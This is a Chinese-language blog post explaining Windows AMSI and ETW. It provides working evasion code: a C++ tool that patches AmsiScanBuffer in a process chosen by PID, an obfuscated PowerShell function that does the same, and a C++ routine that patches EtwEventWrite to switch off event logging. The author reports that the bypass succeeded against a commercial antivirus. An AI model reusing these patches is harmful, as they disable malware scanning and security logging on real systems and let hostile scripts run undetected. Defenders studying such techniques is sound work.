浅谈AMSI和ETW

首先什么是AMSI:

是一组 反恶意软件扫描接口 Windows API,允许任何应用程序与防病毒产品集成(假设该产品充当 AMSI 提供程序)。 与许多第三方 AV 解决方案一样,Windows Defender 自然地充当 AMSI 提供程序。AMSI 充当应用程序和 AV 引擎之间的桥梁,以 PowerShell 为例——当用户试图执行任何代码时,PowerShell 会在执行之前将其提交给 AMSI。 如果 AV 引擎认为内容是恶意的,AMSI 将报告回来,PowerShell 将不会运行代码。 对于在内存中运行且从不接触磁盘的基于脚本的恶意软件,这是一个很好的解决方案。任何应用程序开发人员都可以使用 AMSI 来扫描用户提供的输入。

使用基于脚本的恶意软件,它很容易被混淆。 但是,AMSI 允许开发人员扫描最终缓冲区,因为代码最终必须去混淆。

Amsi.dll

对于向 AMSI 提交样本的应用程序,它必须 将 amsi.dll 加载到其地址空间并调用从该 DLL 导出的一系列 AMSI API。我们使用ApiMonitor Hook到Powershell并观察他调用了哪些Api。

主要是:

功能 描述
AmsiCloseSession 关闭由 AmsiOpenSession 打开的会话。
AmsiInitialize 初始化 AMSI API。
AmsiNotifyOperation 向反恶意软件提供商发送任意操作的通知。
AmsiOpenSession 打开一个会话,在该会话中可以关联多个扫描请求。
AmsiResultIsMalware 确定扫描结果是否指示应阻止内容。
AmsiScanBuffer 扫描充满内容的缓冲区以查找恶意软件。
AmsiScanString 扫描字符串中的恶意软件。
AmsiUninitialize 删除最初由 AmsiInitialize 打开的 AMSI API 实例。

这是微软给出的AMSI体系结构

img

Windows AMSI 接口是开放的。 这意味着任何应用程序都可以调用它; 任何注册的反恶意软件引擎都可以处理提交给它的内容。但是国内的很多AV都没有使用它,我不是很理解。

反恶意软件扫描所有assemblies 。 在以前版本的 .NET Framework 中,运行时使用 Windows Defender 或第三方反恶意软件扫描从磁盘加载的所有程序集。 但是,不会扫描从其他来源(例如通过 Assembly.Load() 方法加载的程序集,并且可能包含未检测到的恶意软件。 从在 Windows 10 上运行的 .NET Framework 4.8 开始,运行时通过实现反 恶意软件扫描接口 (AMSI) 的反恶意软件解决方案触发扫描。

从 .NET 4.8 开始,AMSI 成为框架的一部分。 因此,当加载程序集时,AMSI.DLL 也会加载。 这将 .NET 回溯到 4.0 以提供对 AMSI 的支持。

AMSI在windows系统中被直接或间接的调用,主要分布在以下程序:

1.用户账户控制,UAC(用户账户控制),安装EXE、COM、MSI或者ActiveX时提升权限

1
2
3
%windir%\System32\consent.exe 

PHP

2.Powershell(脚本、交互式使用以及动态代码执行)

1
2
3
System.Management.Automation.dll 

PHP

3.Windows脚本

1
2
3
wscript.exe或者cscript.exe

PHP

4.JavaScript、VBScript

1
2
3
%windir%\System32\jscript.dll %windir%\System32\vbscript.dll 

PHP

5.Office VBA macros

1
2
3
VBE7.dll 

PHP

6..NET Assembly

1
2
3
clr.dll 

PHP

7.WMI

1
2
3
%windir%\System32\wbem\fastprox.dll

PHP

powershell本质就是System.Management.Automation.dll,这个我之前在浅谈powershell中有说过。我们在本机开启一个powershell查看加载的模块就会发现他自动加载了amsi.dll。[001

目前最常见的绕过方法就是修补 AMSI的 AmsiScanBuffer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <Windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll")

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif


EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);

EXTERN_C NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);



void patchAMSI(HANDLE& hProc) {
void* AMSIaddr = GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer");
char amsiPatch[100];
lstrcatA(amsiPatch, "\x31\xC0\x05\x4E\xFE\xFD\x7D\x05\x09\x02\x09\x02\xC3");
DWORD OldProtect = 0;
SIZE_T memPage = 0x1000;
void* ptrAMSIaddr = AMSIaddr;



NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hProc, (PVOID*)&ptrAMSIaddr, (PSIZE_T)&memPage, 0x04, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
return;
}
NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hProc, (LPVOID)AMSIaddr, (PVOID)amsiPatch, sizeof(amsiPatch), (SIZE_T*)nullptr);
if (!NT_SUCCESS(NtWriteStatus)) {
return;
}
NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hProc, (PVOID*)&ptrAMSIaddr, (PSIZE_T)&memPage, OldProtect, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus2)) {
return;
}

printf("\n\n[+] AmsiScanBuffer is Patched!\n\n");
}


int main(int argc, char** argv) {

HANDLE hProc;

if (argc < 2) {
printf("USAGE: AMSIbypass.exe <PID>\n");
return 1;
}

hProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)atoi(argv[1]));
if (!hProc) {
printf("OpenProcess Error (%u)\n", GetLastError());
return 2;
}

patchAMSI(hProc);


return 0;

}

WREN

这里我用C++实现了一个简单的修补AMSI。首先我们看一下这么写的含义是什么,首先掏出ida看一看amsi.dll,查看导出表定位到AmsiScanBuffer

img

可以非常清楚地感受到,AmsiScanBuffer 判断rcx中的参数是不是有效的, 如果发现无效参数,它会分支到 loc_18000c787 。 在这里,它将 0x80070057 移动到 eax 中,绕过执行实际扫描的分支并返回。 这样就可以达到阻断执行恶意脚本的目的。

0x80070057是什么呢,他是微软定义好的HRESULT 值 。他代表E_INVALIDARG。它也可以是别的值

HRESULT 值 hex
E_OUTOFMEMORY 0x8007000E
E_ACCESSDENIED 0x80070005
E_HANDLE 0x80070006

我们在C++代码中通过GetProcAddress(LoadLibraryA(“amsi.dll”), “AmsiScanBuffer”),获取到AmsiScanBuffer的地址。然后我们覆盖AmsiScanBuffer的开头来完成patch

1
2
3
4
5
6
0:  31 c0                   xor    eax,eax
2: 05 4e fe fd 7d add eax,0x7dfdfe4e
7: 05 09 02 09 02 add eax,0x2090209
c: c3 ret

APACHE

使他返回一个AMSI_RESULT_CLEAN的结果。

1
2
3
4
5
6
7
8
9
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
};

ELM

使用这种汇编写法,做了一些计算来达到同样的的效果 7dfdfe4e+2090209 = 8007 0057,会比mov eax,0x80070057 然后ret要好一些。

但是这种修补绕过的方法并不好,如果EDR这种东西进行了内存区域执行完整性检查。EDR会检测到它啥时候被更改了。我们还可以使用断点来绕过Amsi。嫖自这里 这种方法AMSIDetection 是没有检测到任何篡改的。但是这个我还木有看明白,所以就不写了。

如果想给Powershell脚本自带上AMSIpatch,可以加上这一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function PatchAMSI {
$bclwj = @"
using System;
using System.Runtime.InteropServices;
public class bclwj {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr soiuwo, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $bclwj

$tmizvav = [bclwj]::LoadLibrary("$([chAR](97)+[ChAr]([byte]0x6d)+[CHAr](115)+[Char](105)+[ChAR]([bYTe]0x2e)+[cHaR]([Byte]0x64)+[chaR]([bytE]0x6c)+[cHar](108*77/77))")
$pejwnb = [bclwj]::GetProcAddress($tmizvav, "$([cHaR](65)+[ChAR]([byTe]0x6d)+[cHaR]([ByTE]0x73)+[CHAr](52+53)+[chAR](83*28/28)+[chAr](99)+[cHar](79+18)+[CHaR](104+6)+[cHar](66)+[cHAr](117+83-83)+[chAr]([BytE]0x66)+[CHAr]([BYTE]0x66)+[CHaR](101*34/34)+[chAr]([ByTE]0x72))")
$p = 0
[bclwj]::VirtualProtect($pejwnb, [uint32]5, 0x40, [ref]$p)
$sabz = "0xB8"
$chis = "0x57"
$iuhl = "0x00"
$qwus = "0x07"
$vykl = "0x80"
$nygv = "0xC3"
$mklio = [Byte[]] ($sabz,$chis,$iuhl,$qwus,+$vykl,+$nygv)
[System.Runtime.InteropServices.Marshal]::Copy($mklio, 0, $pejwnb, 6)
}


INFORM7

然后调用就行,最后再给ps脚本进行混淆处理.

img

img

KES是使用了AMSI的我们这里可以看到,已经成功绕过了,如果只是单纯的混淆powershell脚本,只能绕过静态.当我们途径AMSI时还是会被干掉.

当然并不是说这样就一定可以成功,毕竟EDR也不是吃素的.人家是可以拦截我们patchAmsi的行为,这里需要别的方式去进行绕过.这里不做细究.

现在我们开始聊聊Etw:

ETW首次与 Windows 2000 一起引入,最初旨在提供详细的用户和内核日志记录,无需重新启动目标进程即可动态启用或禁用这些日志记录。

ETW 的核心结构自 Windows 2000 以来几乎没有变化,尽管对发送和接收日志的过程进行了多次大修改,以使第三方程序更容易与 ETW 集成。

微软的文档 是这样描述ETW架构的:

事件跟踪 API 分为三个不同的组件:

控制器仅限于具有管理员权限的用户,但有一些注意事项。

除了回调之外,Windows 威胁情报事件跟踪还提供来自内核的跟踪,并允许以各种方式使用这些跟踪。

Windows 事件跟踪 (ETW) 提供了一种机制来跟踪和记录由用户模式应用程序和内核模式驱动程序引发的事件

其部分功能位于ntdll.dll中,我们可以修改内存中的etw相关函数达到禁止日志输出的效果

我们采用修补EtwEventWrite方法进行绕过,是不是和AMSI有异曲同工之妙。同样采用IDA对ntdll.dll进行观察导出函数EtwEventWrite,可以发现我们如果把他的第一个指令修改成返回0,他就g了。

使用C++实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void disableETW(void) {

unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3}; // xor rax, rax; ret

ULONG oldprotect = 0;

size_t size = sizeof(patch);

HANDLE hCurrentProc = GetCurrentProcess();

unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };

void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);

NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, PAGE_READWRITE, &oldprotect);

memcpy(pEventWrite, patch, size / sizeof(patch[0]));

NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, oldprotect, &oldprotect);

FlushInstructionCache(hCurrentProc, pEventWrite, size);

}



ARDUINO

xor rax,rax 获得一个0 ,汇编常用获取0的方法。EtwEventWrite修补后无法为当前进程写入事件,懂得都懂。


浅谈AMSI和ETW
https://kyxiaxiang.github.io/2022/12/14/AMSIandEtw/
作者
keyixiaxiang
发布于
2022年12月14日
许可协议